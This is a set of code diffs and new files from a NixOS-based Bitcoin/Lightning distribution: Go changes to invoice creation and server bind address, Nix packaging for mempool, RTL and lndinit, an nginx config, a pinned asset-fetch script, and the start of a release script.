||||
-func (api *api) CreateInvoice(ctx context.Context, amountMsat uint64, description string) (*MakeInvoiceResponse, error) {
|
||||
+func (api *api) CreateInvoice(ctx context.Context, amountMsat uint64, description string, appId *uint) (*MakeInvoiceResponse, error) {
|
||||
lnClient := api.svc.GetLNClient()
|
||||
if lnClient == nil {
|
||||
return nil, ErrLNClientNotStarted
|
||||
}
|
||||
- transaction, err := api.svc.GetTransactionsService().MakeInvoice(ctx, amountMsat, description, "", 0, nil, lnClient, nil, nil, nil)
|
||||
+ transaction, err := api.svc.GetTransactionsService().MakeInvoice(ctx, amountMsat, description, "", 0, nil, lnClient, appId, nil, nil)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
diff --git a/http/http_service.go b/http/http_service.go
|
||||
index bf650b9..cf61250 100644
|
||||
--- a/http/http_service.go
|
||||
+++ b/http/http_service.go
|
||||
@@ -687,7 +687,12 @@ func (httpSvc *HttpService) makeInvoiceHandler(c echo.Context) error {
|
||||
amountMsat = *resolvedAmountMsat
|
||||
}
|
||||
|
||||
- invoice, err := httpSvc.api.CreateInvoice(c.Request().Context(), amountMsat, makeInvoiceRequest.Description)
|
||||
+ invoice, err := httpSvc.api.CreateInvoice(
|
||||
+ c.Request().Context(),
|
||||
+ amountMsat,
|
||||
+ makeInvoiceRequest.Description,
|
||||
+ makeInvoiceRequest.AppId,
|
||||
+ )
|
||||
|
||||
if err != nil {
|
||||
return c.JSON(http.StatusInternalServerError, ErrorResponse{
|
||||
diff --git a/wails/wails_handlers.go b/wails/wails_handlers.go
|
||||
index d25259b..c9fe4e8 100644
|
||||
--- a/wails/wails_handlers.go
|
||||
+++ b/wails/wails_handlers.go
|
||||
@@ -600,7 +600,7 @@ func (app *WailsApp) WailsRequestRouter(route string, method string, body string
|
||||
if resolvedAmountMsat != nil {
|
||||
amountMsat = *resolvedAmountMsat
|
||||
}
|
||||
- invoice, err := app.api.CreateInvoice(ctx, amountMsat, makeInvoiceRequest.Description)
|
||||
+ invoice, err := app.api.CreateInvoice(ctx, amountMsat, makeInvoiceRequest.Description, nil)
|
||||
if err != nil {
|
||||
return WailsRequestRouterResponse{Body: nil, Error: err.Error()}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
diff --git a/cmd/http/main.go b/cmd/http/main.go
|
||||
index ed31f96..4d31212 100644
|
||||
--- a/cmd/http/main.go
|
||||
+++ b/cmd/http/main.go
|
||||
@@ -2,8 +2,8 @@ package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
- "fmt"
|
||||
nethttp "net/http"
|
||||
+ "net"
|
||||
"os"
|
||||
"os/signal"
|
||||
"syscall"
|
||||
@@ -51,8 +51,9 @@ func main() {
|
||||
httpSvc := http.NewHttpService(svc, svc.GetEventPublisher())
|
||||
httpSvc.RegisterSharedRoutes(e)
|
||||
//start Echo server
|
||||
+ bindAddress := net.JoinHostPort(svc.GetConfig().GetEnv().Host, svc.GetConfig().GetEnv().Port)
|
||||
go func() {
|
||||
- if err := e.Start(fmt.Sprintf(":%v", svc.GetConfig().GetEnv().Port)); err != nil && err != nethttp.ErrServerClosed {
|
||||
+ if err := e.Start(bindAddress); err != nil && err != nethttp.ErrServerClosed {
|
||||
logger.Logger.WithError(err).Error("echo server failed to start")
|
||||
cancel()
|
||||
}
|
||||
diff --git a/config/models.go b/config/models.go
|
||||
index 0fb8870..dc11afd 100644
|
||||
--- a/config/models.go
|
||||
+++ b/config/models.go
|
||||
@@ -24,6 +24,7 @@ type AppConfig struct {
|
||||
LNDAddress string `envconfig:"LND_ADDRESS"`
|
||||
LNDCertFile string `envconfig:"LND_CERT_FILE"`
|
||||
LNDMacaroonFile string `envconfig:"LND_MACAROON_FILE"`
|
||||
+ Host string `envconfig:"HOST" default:"127.0.0.1"`
|
||||
Workdir string `envconfig:"WORK_DIR"`
|
||||
Port string `envconfig:"PORT" default:"8080"`
|
||||
DatabaseUri string `envconfig:"DATABASE_URI" default:"nwc.db"`
|
||||
@@ -0,0 +1,79 @@
|
||||
# Vendored from fort-nix/nix-bitcoin commit 360e30fee.
|
||||
# This local copy does not fetch or import nix-bitcoin.
|
||||
# This is a modified version of
|
||||
# https://github.com/NixOS/nixpkgs/pull/128749
|
||||
|
||||
{ lib, stdenvNoCC, makeWrapper, nodejs, cacert }:
|
||||
|
||||
{ src
|
||||
, hash ? ""
|
||||
, runScripts ? false
|
||||
, preferLocalBuild ? true
|
||||
, npmFlags ? ""
|
||||
, ...
|
||||
} @ args:
|
||||
stdenvNoCC.mkDerivation ({
|
||||
inherit src preferLocalBuild;
|
||||
|
||||
name = "${src.name}-node_modules";
|
||||
nativeBuildInputs = [
|
||||
makeWrapper
|
||||
(if args ? nodejs then args.nodejs else nodejs)
|
||||
];
|
||||
|
||||
outputHashMode = "recursive";
|
||||
|
||||
impureEnvVars = lib.fetchers.proxyImpureEnvVars;
|
||||
|
||||
phases = "unpackPhase patchPhase buildPhase installPhase";
|
||||
|
||||
# npm doesn't support var `SSL_CERT_FILE`.
|
||||
NODE_EXTRA_CA_CERTS = "${cacert}/etc/ssl/certs/ca-bundle.crt";
|
||||
|
||||
buildPhase = ''
|
||||
runHook preBuild
|
||||
|
||||
if [[ ! -f package.json ]]; then
|
||||
echo "Error: file `package.json` doesn't exist"
|
||||
exit 1
|
||||
fi
|
||||
if [[ ! -f package-lock.json ]]; then
|
||||
echo "Error: file `package-lock.json` doesn't exist"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
export SOURCE_DATE_EPOCH=1
|
||||
export npm_config_cache=/tmp
|
||||
NPM_FLAGS="--omit=dev --omit=optional --no-update-notifier $npmFlags"
|
||||
# Scripts may result in non-deterministic behavior.
|
||||
# Some packages (e.g., Puppeteer) use postinstall scripts to download extra data.
|
||||
if [[ ! $runScripts ]]; then
|
||||
NPM_FLAGS+=" --ignore-scripts"
|
||||
fi
|
||||
|
||||
echo "Running npm ci $NPM_FLAGS"
|
||||
npm ci $NPM_FLAGS
|
||||
|
||||
cp package.json \
|
||||
package-lock.json node_modules/
|
||||
rm -f node_modules/.package-lock.json
|
||||
|
||||
runHook postBuild
|
||||
'';
|
||||
|
||||
installPhase = ''
|
||||
runHook preInstall
|
||||
|
||||
mkdir -p $out/lib
|
||||
cp -r node_modules $out/lib
|
||||
|
||||
runHook postInstall
|
||||
'';
|
||||
} // (
|
||||
if hash == "" then {
|
||||
outputHashAlgo = "sha256";
|
||||
outputHash = "";
|
||||
} else {
|
||||
outputHash = hash;
|
||||
}
|
||||
) // (builtins.removeAttrs args [ "hash" ]))
|
||||
@@ -0,0 +1,19 @@
|
||||
{ lib, buildGoModule, fetchFromGitHub }:
|
||||
|
||||
buildGoModule rec {
|
||||
pname = "lndinit";
|
||||
version = "0.1.3-beta";
|
||||
src = fetchFromGitHub {
|
||||
owner = "lightninglabs";
|
||||
repo = pname;
|
||||
rev = "v${version}";
|
||||
sha256 = "sha256-sO1DpbppCurxr9g9nUl9Vx82FJK1mTcUw3rY1Fm1wEU=";
|
||||
};
|
||||
vendorHash = "sha256-El44BS5Bu0K/klMxkajciU/R6uqiXBMOiLN536QztbE=";
|
||||
subPackages = [ "." ];
|
||||
meta = with lib; {
|
||||
description = "Wallet initializer for lnd (from nix-bitcoin)";
|
||||
homepage = "https://github.com/lightninglabs/lndinit";
|
||||
license = licenses.mit;
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
From e4b3ebaf0451c1bddbd7dcf8527c296938ebb607 Mon Sep 17 00:00:00 2001
|
||||
From: Erik Arvstedt <erik.arvstedt@gmail.com>
|
||||
Date: Sun, 1 Jun 2025 11:17:22 +0200
|
||||
Subject: [PATCH] allow disabling mining pool fetching in offline environments
|
||||
|
||||
Previously, Mempool strictly required fetching mining pool data from
|
||||
Github and failed when this was not possible, e.g. in offline
|
||||
environments.
|
||||
|
||||
This patch allows disabling pool fetching.
|
||||
When disabled, empty pool data is inserted into the DB, which
|
||||
effectively turns off block pool classification.
|
||||
---
|
||||
backend/src/tasks/pools-updater.ts | 5 ++++-
|
||||
1 file changed, 4 insertions(+), 1 deletion(-)
|
||||
|
||||
diff --git a/backend/src/tasks/pools-updater.ts b/backend/src/tasks/pools-updater.ts
|
||||
index 6b0520dfc..a74259b95 100644
|
||||
--- a/backend/src/tasks/pools-updater.ts
|
||||
+++ b/backend/src/tasks/pools-updater.ts
|
||||
@@ -75,7 +75,7 @@ class PoolsUpdater {
|
||||
} else {
|
||||
logger.warn(`pools-v2.json is outdated, fetching latest from ${this.poolsUrl} over ${network}`, this.tag);
|
||||
}
|
||||
- const poolsJson = await this.query(this.poolsUrl);
|
||||
+ const poolsJson = (githubSha == "disable-pool-fetching") ? [] : await this.query(this.poolsUrl);
|
||||
if (poolsJson === undefined) {
|
||||
return;
|
||||
}
|
||||
@@ -136,6 +136,9 @@ class PoolsUpdater {
|
||||
* Fetch our latest pools-v2.json sha from github
|
||||
*/
|
||||
private async fetchPoolsSha(): Promise<string | null> {
|
||||
+ if (this.poolsUrl == "disable-pool-fetching") {
|
||||
+ return "disable-pool-fetching";
|
||||
+ }
|
||||
const response = await this.query(this.treeUrl);
|
||||
|
||||
if (response !== undefined) {
|
||||
--
|
||||
2.47.2
|
||||
@@ -0,0 +1,203 @@
|
||||
# Packaging adapted from fort-nix/nix-bitcoin commit 360e30fee.
|
||||
# This local copy does not fetch or import nix-bitcoin.
|
||||
{ lib
|
||||
, stdenvNoCC
|
||||
, nodejs_22
|
||||
, nodejs-slim_22
|
||||
, fetchFromGitHub
|
||||
, fetchNodeModules
|
||||
, runCommand
|
||||
, makeWrapper
|
||||
, curl
|
||||
, cacert
|
||||
, rsync
|
||||
# for rust-gbt (backend module)
|
||||
, cargo
|
||||
, rustc
|
||||
, rustPlatform
|
||||
, napi-rs-cli
|
||||
}:
|
||||
rec {
|
||||
nodejs = nodejs_22;
|
||||
nodejsRuntime = nodejs-slim_22;
|
||||
|
||||
version = "3.2.1";
|
||||
|
||||
src = fetchFromGitHub {
|
||||
owner = "mempool";
|
||||
repo = "mempool";
|
||||
tag = "v${version}";
|
||||
hash = "sha256-O2XPD1/BXQnzuOP/vMVyRfmFZEgjA85r+PShWne0vqU=";
|
||||
};
|
||||
|
||||
nodeModules = {
|
||||
frontend = fetchNodeModules {
|
||||
inherit src nodejs;
|
||||
sourceRoot = "source/frontend";
|
||||
hash = "sha256-+jfgsAkDdYvgso8uSHaBj/sQL3fC/ABQWzVTXfdZcU0=";
|
||||
};
|
||||
backend = fetchNodeModules {
|
||||
inherit src nodejs;
|
||||
sourceRoot = "source/backend";
|
||||
hash = "sha256-y5l2SYZYK9SKSy6g0+mtTWD6JFkkdQHHBboECpEvWZ4=";
|
||||
};
|
||||
};
|
||||
|
||||
frontendAssets = fetchFiles {
|
||||
name = "mempool-frontend-assets";
|
||||
hash = "sha256-r6GfOY8Pdh15o2OQMk8syfvWMV6WMCReToAEkQm7tqQ=";
|
||||
fetcher = ./frontend-assets-fetch.sh;
|
||||
};
|
||||
|
||||
mempool-backend = mkDerivationMempool {
|
||||
pname = "mempool-backend";
|
||||
|
||||
patches = [ ./0001-allow-disabling-mining-pool-fetching.patch ];
|
||||
|
||||
buildPhase = ''
|
||||
cd backend
|
||||
${sync} --chmod=+w ${nodeModules.backend}/lib/node_modules .
|
||||
patchShebangs node_modules
|
||||
|
||||
${sync} ${mempool-rust-gbt}/ rust-gbt
|
||||
npm run package
|
||||
|
||||
runHook postBuild
|
||||
'';
|
||||
|
||||
installPhase = ''
|
||||
mkdir -p $out/lib/mempool-backend
|
||||
${sync} package/ $out/lib/mempool-backend
|
||||
|
||||
makeWrapper ${nodejsRuntime}/bin/node $out/bin/mempool-backend \
|
||||
--add-flags $out/lib/mempool-backend/index.js
|
||||
|
||||
runHook postInstall
|
||||
'';
|
||||
|
||||
passthru = {
|
||||
inherit nodejs nodejsRuntime;
|
||||
nodeModules = nodeModules.backend;
|
||||
};
|
||||
};
|
||||
|
||||
mempool-frontend = mkFrontend {};
|
||||
|
||||
# Argument `config` (type: attrset) defines the mempool frontend config.
|
||||
# If `{}`, the default config is used.
|
||||
# See here for available options:
|
||||
# https://github.com/mempool/mempool/blob/master/frontend/src/app/services/state.service.ts
|
||||
# (`interface Env` and `defaultEnv`)
|
||||
mkFrontend = config: mkDerivationMempool {
|
||||
pname = "mempool-frontend";
|
||||
|
||||
buildPhase = ''
|
||||
cd frontend
|
||||
|
||||
${sync} --chmod=+w ${nodeModules.frontend}/lib/node_modules .
|
||||
patchShebangs node_modules
|
||||
|
||||
# sync-assets.js is called during `npm run build` and downloads assets from the
|
||||
# internet. Disable this script and instead add the assets manually after building.
|
||||
: > sync-assets.js
|
||||
|
||||
${lib.optionalString (config != {}) ''
|
||||
ln -s ${builtins.toFile "mempool-frontend-config" (builtins.toJSON config)} mempool-frontend-config.json
|
||||
''}
|
||||
|
||||
npm run build
|
||||
|
||||
# Add assets that would otherwise be downloaded by sync-assets.js
|
||||
${sync} ${frontendAssets}/ dist/mempool/browser/resources
|
||||
|
||||
runHook postBuild
|
||||
'';
|
||||
|
||||
installPhase = ''
|
||||
${sync} dist/mempool/browser/ $out
|
||||
|
||||
runHook postInstall
|
||||
'';
|
||||
|
||||
passthru = {
|
||||
withConfig = mkFrontend;
|
||||
assets = frontendAssets;
|
||||
nodeModules = nodeModules.frontend;
|
||||
};
|
||||
};
|
||||
|
||||
mempool-rust-gbt = stdenvNoCC.mkDerivation rec {
|
||||
pname = "mempool-rust-gbt";
|
||||
inherit version src meta;
|
||||
|
||||
sourceRoot = "source/rust/gbt";
|
||||
|
||||
nativeBuildInputs = [
|
||||
rustPlatform.cargoSetupHook
|
||||
cargo
|
||||
rustc
|
||||
napi-rs-cli
|
||||
];
|
||||
|
||||
cargoDeps = rustPlatform.fetchCargoVendor {
|
||||
inherit src;
|
||||
name = "${pname}-${version}";
|
||||
inherit sourceRoot;
|
||||
hash = "sha256-eox/K3ipjAqNyFt87lZnxaU/okQLF/KIhqXrX86n+qw=";
|
||||
};
|
||||
|
||||
buildPhase = ''
|
||||
runHook preBuild
|
||||
# napi doesn't accept an absolute path as dest dir, so we can't directly write to $out
|
||||
napi build --platform --release --strip out
|
||||
runHook postBuild
|
||||
'';
|
||||
|
||||
installPhase = ''
|
||||
mv out $out
|
||||
cp package.json $out
|
||||
'';
|
||||
|
||||
passthru = { inherit cargoDeps; };
|
||||
};
|
||||
|
||||
mempool-nginx-conf = runCommand "mempool-nginx-conf" {} ''
|
||||
${sync} --chmod=u+w ${./nginx-conf}/ $out
|
||||
${sync} ${src}/production/nginx/http-language.conf $out
|
||||
'';
|
||||
|
||||
sync = "${rsync}/bin/rsync -a --inplace";
|
||||
|
||||
mkDerivationMempool = args: stdenvNoCC.mkDerivation ({
|
||||
inherit version src meta;
|
||||
|
||||
nativeBuildInputs = [
|
||||
makeWrapper
|
||||
nodejs
|
||||
rsync
|
||||
];
|
||||
|
||||
phases = "unpackPhase patchPhase buildPhase installPhase";
|
||||
} // args);
|
||||
|
||||
fetchFiles = { name, hash, fetcher }: stdenvNoCC.mkDerivation {
|
||||
inherit name;
|
||||
outputHashMode = "recursive";
|
||||
outputHashAlgo = "sha256";
|
||||
outputHash = hash;
|
||||
nativeBuildInputs = [ curl cacert ];
|
||||
buildCommand = ''
|
||||
mkdir $out
|
||||
cd $out
|
||||
${builtins.readFile fetcher}
|
||||
'';
|
||||
};
|
||||
|
||||
meta = with lib; {
|
||||
description = "Bitcoin blockchain and mempool explorer";
|
||||
homepage = "https://github.com/mempool/mempool/";
|
||||
license = licenses.agpl3Plus;
|
||||
maintainers = with maintainers; [ erikarvstedt ];
|
||||
platforms = platforms.unix;
|
||||
};
|
||||
}
|
||||
Executable
+28
@@ -0,0 +1,28 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Fetch hash-locked versions of assets that are dynamically fetched via
|
||||
# https://github.com/mempool/mempool/blob/master/frontend/sync-assets.js
|
||||
# when running `npm run build` in the frontend.
|
||||
#
|
||||
# This file is updated by ./frontend-assets-update.sh
|
||||
|
||||
declare -A revs=(
|
||||
["mempool/mining-pool-logos"]=53972ebbd08373cf4910cbb3e6421a1f3bba4563
|
||||
)
|
||||
|
||||
fetchFile() {
|
||||
repo=$1
|
||||
file=$2
|
||||
rev=${revs["$repo"]}
|
||||
curl -fsS "https://raw.githubusercontent.com/$repo/$rev/$file"
|
||||
}
|
||||
|
||||
fetchRepo() {
|
||||
repo=$1
|
||||
rev=${revs["$repo"]}
|
||||
curl -fsSL "https://github.com/$repo/archive/$rev.tar.gz"
|
||||
}
|
||||
|
||||
mkdir mining-pools
|
||||
fetchRepo "mempool/mining-pool-logos" | tar xz --strip-components=1 -C mining-pools
|
||||
@@ -0,0 +1,47 @@
|
||||
# Settings adapted from
|
||||
# https://github.com/mempool/mempool/blob/v3.2.1/production/nginx/server-common.conf
|
||||
|
||||
# see order of nginx location rules
|
||||
# https://stackoverflow.com/questions/5238377/nginx-location-priority
|
||||
|
||||
# for exact / requests, redirect based on $lang
|
||||
# cache redirect for 5 minutes
|
||||
location = / {
|
||||
if ($lang != '') {
|
||||
return 302 $scheme://$host/$lang/;
|
||||
}
|
||||
try_files /en-US/index.html =404;
|
||||
expires 5m;
|
||||
}
|
||||
|
||||
# cache /<lang>/main.f40e91d908a068a2.js forever since they never change
|
||||
location ~ ^/([a-z][a-z])/(.+\..+\.(js|css))$ {
|
||||
try_files $uri =404;
|
||||
expires 1y;
|
||||
}
|
||||
# cache everything else for 5 minutes
|
||||
location ~ ^/([a-z][a-z])$ {
|
||||
try_files $uri /$1/index.html /en-US/index.html =404;
|
||||
expires 5m;
|
||||
}
|
||||
location ~ ^/([a-z][a-z])/ {
|
||||
try_files $uri /$1/index.html /en-US/index.html =404;
|
||||
expires 5m;
|
||||
}
|
||||
|
||||
# cache /resources/** for 1 week since they don't change often
|
||||
location /resources {
|
||||
try_files $uri /en-US/index.html;
|
||||
expires 1w;
|
||||
}
|
||||
# cache /main.f40e91d908a068a2.js forever since they never change
|
||||
location ~* ^/.+\..+\.(js|css)$ {
|
||||
try_files /$lang/$uri /en-US/$uri =404;
|
||||
expires 1y;
|
||||
}
|
||||
# catch-all for all URLs i.e. /address/foo /tx/foo /block/000
|
||||
# cache 5 minutes since they change frequently
|
||||
location / {
|
||||
try_files /$lang/$uri $uri /en-US/$uri /en-US/index.html =404;
|
||||
expires 5m;
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
# Packaging adapted from fort-nix/nix-bitcoin commit 360e30fee.
|
||||
# This local copy does not fetch or import nix-bitcoin.
|
||||
{ lib
|
||||
, stdenvNoCC
|
||||
, nodejs_22
|
||||
, nodejs-slim_22
|
||||
, fetchNodeModules
|
||||
, fetchurl
|
||||
, makeWrapper
|
||||
}:
|
||||
let self = stdenvNoCC.mkDerivation {
|
||||
pname = "rtl";
|
||||
version = "0.15.8";
|
||||
|
||||
src = fetchurl {
|
||||
url = "https://github.com/Ride-The-Lightning/RTL/archive/refs/tags/v${self.version}.tar.gz";
|
||||
hash = "sha256-8XdGyORxB2dkZRB/Yl7zh+Quqo4L/Y0VmC6Brbr/hqU=";
|
||||
};
|
||||
|
||||
passthru = {
|
||||
nodejs = nodejs_22;
|
||||
nodejsRuntime = nodejs-slim_22;
|
||||
|
||||
nodeModules = fetchNodeModules {
|
||||
inherit (self) src nodejs;
|
||||
# TODO-EXTERNAL: Remove `npmFlags` when no longer required
|
||||
# See: https://github.com/Ride-The-Lightning/RTL/issues/1182
|
||||
npmFlags = "--legacy-peer-deps";
|
||||
hash = "sha256-oMqd6nLzS6iQ9w4z2yzpR2unA5qhOq5YdvfoS8IgYLY=";
|
||||
};
|
||||
};
|
||||
|
||||
nativeBuildInputs = [
|
||||
makeWrapper
|
||||
];
|
||||
|
||||
phases = "unpackPhase patchPhase installPhase";
|
||||
|
||||
# `src` already contains the precompiled frontend and backend.
|
||||
# Copy all files required for packaging, like in
|
||||
# https://github.com/Ride-The-Lightning/RTL/blob/master/dockerfiles/Dockerfile
|
||||
installPhase = ''
|
||||
dest=$out/lib/node_modules/rtl
|
||||
mkdir -p $dest
|
||||
cp -r \
|
||||
rtl.js \
|
||||
package.json \
|
||||
frontend \
|
||||
backend \
|
||||
${self.nodeModules}/lib/node_modules \
|
||||
$dest
|
||||
|
||||
makeWrapper ${self.nodejsRuntime}/bin/node "$out/bin/rtl" \
|
||||
--add-flags "$dest/rtl.js"
|
||||
|
||||
runHook postInstall
|
||||
'';
|
||||
|
||||
meta = with lib; {
|
||||
description = "A web interface for LND, c-lightning and Eclair";
|
||||
homepage = "https://github.com/Ride-The-Lightning/RTL";
|
||||
license = licenses.mit;
|
||||
maintainers = with maintainers; [ nixbitcoin erikarvstedt ];
|
||||
platforms = platforms.unix;
|
||||
};
|
||||
}; in self
|
||||
Executable
+479
@@ -0,0 +1,479 @@
|
||||
#!/usr/bin/env bash
|
||||
#
|
||||
# release-stable.sh
|
||||
# Automated stable release script for Sovran_SystemsOS
|
||||
#
|
||||
# Features:
|
||||
# - Detects latest tag and suggests next version
|
||||
# - Pushes main → stable on Gitea
|
||||
# - Creates annotated tag
|
||||
# - Auto-updates CHANGELOG.md
|
||||
# - Creates releases on both GitHub and Gitea via API
|
||||
#
|
||||
# Usage:
|
||||
# ./scripts/release-stable.sh [version] [--message "text"]
|
||||
#
|
||||
# Requirements:
|
||||
# - gh CLI (for GitHub releases)
|
||||
# - GITEA_TOKEN env var (for Gitea releases)
|
||||
#
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
# Colors
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
CYAN='\033[0;36m'
|
||||
NC='\033[0m'
|
||||
|
||||
# Configuration
|
||||
GITEA_REMOTE_DEFAULT="gitea"
|
||||
GITHUB_REMOTE_DEFAULT="origin"
|
||||
GITEA_API_URL="https://git.sovransystems.com/api/v1"
|
||||
CHANGELOG_FILE="CHANGELOG.md"
|
||||
|
||||
# Auto-detect remotes
|
||||
detect_remote() {
|
||||
local preferred="$1"
|
||||
local keyword="$2"
|
||||
if git remote | grep -q -x "$preferred"; then
|
||||
echo "$preferred"
|
||||
return
|
||||
fi
|
||||
local found
|
||||
found=$(git remote -v | grep -i "$keyword" | head -n 1 | awk '{print $1}')
|
||||
if [[ -n "$found" ]]; then
|
||||
echo "$found"
|
||||
return
|
||||
fi
|
||||
echo "$preferred"
|
||||
}
|
||||
|
||||
GITEA_REMOTE=$(detect_remote "$GITEA_REMOTE_DEFAULT" "sovransystems\|gitea")
|
||||
GITHUB_REMOTE=$(detect_remote "$GITHUB_REMOTE_DEFAULT" "github")
|
||||
|
||||
echo -e "${BLUE}╔════════════════════════════════════════════════════════════╗${NC}"
|
||||
echo -e "${BLUE}║ Sovran_SystemsOS Automated Stable Release Script ║${NC}"
|
||||
echo -e "${BLUE}╚════════════════════════════════════════════════════════════╝${NC}"
|
||||
echo
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
# Helper: Get latest tag
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
get_latest_tag() {
|
||||
local exclude="${1:-}"
|
||||
if [[ -n "$exclude" ]]; then
|
||||
git tag --list 'v*' --sort=-version:refname | grep -v -x -E "v?${exclude#v}|${exclude}" | head -1 || echo ""
|
||||
else
|
||||
git tag --list 'v*' --sort=-version:refname | head -1 || echo ""
|
||||
fi
|
||||
}
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
# Helper: Suggest next version (patch bump)
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
suggest_next_version() {
|
||||
local current="$1"
|
||||
if [[ -z "$current" ]]; then
|
||||
echo "1.0.0"
|
||||
return
|
||||
fi
|
||||
|
||||
# Remove 'v' prefix
|
||||
local ver="${current#v}"
|
||||
IFS='.' read -r major minor patch <<< "$ver"
|
||||
|
||||
# Default: bump patch
|
||||
echo "${major}.$((minor)).$((patch + 1))"
|
||||
}
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
# Step 0: Fetch everything
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
echo -e "${BLUE}Step 0: Fetching latest from all remotes...${NC}"
|
||||
git fetch --all --tags 2>/dev/null || true
|
||||
|
||||
LATEST_TAG=$(get_latest_tag)
|
||||
NEXT_VERSION=$(suggest_next_version "$LATEST_TAG")
|
||||
|
||||
echo -e " Latest tag : ${CYAN}${LATEST_TAG:-none}${NC}"
|
||||
echo -e " Suggested : ${GREEN}v${NEXT_VERSION}${NC}"
|
||||
echo
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
# Get version from user or argument
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
if [ $# -ge 1 ] && [[ "$1" != --* ]]; then
|
||||
VERSION="$1"
|
||||
shift
|
||||
else
|
||||
read -rp "Enter version to release (default: ${NEXT_VERSION}): " input_version
|
||||
VERSION="${input_version:-$NEXT_VERSION}"
|
||||
fi
|
||||
|
||||
# Strip 'v' if user added it
|
||||
VERSION="${VERSION#v}"
|
||||
TAG="v${VERSION}"
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
# Get release message
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
RELEASE_MESSAGE=""
|
||||
while [[ $# -gt 0 ]]; do
|
||||
case $1 in
|
||||
--message|-m)
|
||||
RELEASE_MESSAGE="$2"
|
||||
shift 2
|
||||
;;
|
||||
*)
|
||||
shift
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
if [[ -z "$RELEASE_MESSAGE" ]]; then
|
||||
echo
|
||||
read -rp "Enter release headline (or press Enter for default): " input_msg
|
||||
if [[ -n "$input_msg" ]]; then
|
||||
RELEASE_MESSAGE="$input_msg"
|
||||
else
|
||||
RELEASE_MESSAGE="Sovran_SystemsOS ${TAG} — Stable Release"
|
||||
fi
|
||||
fi
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
# Helper: Generate categorized release notes from commit history
|
||||
# Groups commits since the last tag into Keep-a-Changelog sections based on
|
||||
# conventional-commit prefixes (feat/fix/docs/security/etc.) and keywords.
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
generate_release_notes() {
|
||||
local range="$1"
|
||||
|
||||
local added="" changed="" fixed="" security="" docs=""
|
||||
|
||||
while IFS= read -r subject; do
|
||||
# Skip noise commits
|
||||
case "$subject" in
|
||||
"Initial plan"|"initial plan") continue ;;
|
||||
"Merge pull request"*|"Merge branch"*) continue ;;
|
||||
"chore: bump VERSION"*|"docs: update CHANGELOG"*) continue ;;
|
||||
"Address code review"*|"Address review"*|"Address validation"*) continue ;;
|
||||
esac
|
||||
|
||||
# Strip conventional-commit prefix for display
|
||||
local clean
|
||||
clean="$(echo "$subject" | sed -E 's/^(feat|fix|docs|chore|refactor|test|security|perf|style|ci|build)(\([^)]*\))?!?:[[:space:]]*//')"
|
||||
# Capitalize first letter
|
||||
clean="$(echo "${clean:0:1}" | tr '[:lower:]' '[:upper:]')${clean:1}"
|
||||
|
||||
case "$subject" in
|
||||
security:*|security\(*) security+="- ${clean}"$'\n' ;;
|
||||
feat:*|feat\(*) added+="- ${clean}"$'\n' ;;
|
||||
fix:*|fix\(*|Fix\ *|fixed\ *) fixed+="- ${clean}"$'\n' ;;
|
||||
docs:*|docs\(*) docs+="- ${clean}"$'\n' ;;
|
||||
refactor:*|refactor\(*|chore:*|chore\(*|removed\ *|Updated\ *|updated\ *) changed+="- ${clean}"$'\n' ;;
|
||||
test:*|test\(*) continue ;;
|
||||
*) added+="- ${clean}"$'\n' ;;
|
||||
esac
|
||||
done < <(git log --no-merges --format='%s' "$range" 2>/dev/null | awk '!seen[$0]++')
|
||||
|
||||
local notes=""
|
||||
if [[ -n "$added" ]]; then notes+=$'### Added\n'"$added"$'\n'; fi
|
||||
if [[ -n "$changed" ]]; then notes+=$'### Changed\n'"$changed"$'\n'; fi
|
||||
if [[ -n "$fixed" ]]; then notes+=$'### Fixed\n'"$fixed"$'\n'; fi
|
||||
if [[ -n "$security" ]]; then notes+=$'### Security\n'"$security"$'\n'; fi
|
||||
if [[ -n "$docs" ]]; then notes+=$'### Documentation\n'"$docs"$'\n'; fi
|
||||
|
||||
if [[ -z "$notes" ]]; then
|
||||
notes=$'### Changed\n- Incremental stable updates\n'
|
||||
fi
|
||||
|
||||
printf '%s' "$notes"
|
||||
}
|
||||
|
||||
# Build the notes from commits since the previous tag (exclude the target tag if already present)
|
||||
PREV_TAG=$(get_latest_tag "$TAG")
|
||||
if [[ -n "$PREV_TAG" ]] && git rev-parse -q --verify "$PREV_TAG" >/dev/null; then
|
||||
COMMIT_RANGE="${PREV_TAG}..HEAD"
|
||||
else
|
||||
COMMIT_RANGE="HEAD"
|
||||
fi
|
||||
|
||||
echo
|
||||
echo -e "${BLUE}Generating draft release notes from ${COMMIT_RANGE}...${NC}"
|
||||
RELEASE_NOTES="$(generate_release_notes "$COMMIT_RANGE")"
|
||||
|
||||
# Let the user review/edit the generated notes before publishing
|
||||
NOTES_FILE="$(mktemp "/tmp/release-notes-${TAG}.XXXXXX.md")"
|
||||
{
|
||||
echo "## Sovran_SystemsOS ${TAG}"
|
||||
echo
|
||||
echo "${RELEASE_MESSAGE}"
|
||||
echo
|
||||
echo "$RELEASE_NOTES"
|
||||
echo "**Full changelog:** [CHANGELOG.md](https://github.com/naturallaw777/Sovran_SystemsOS/blob/main/CHANGELOG.md)"
|
||||
} > "$NOTES_FILE"
|
||||
|
||||
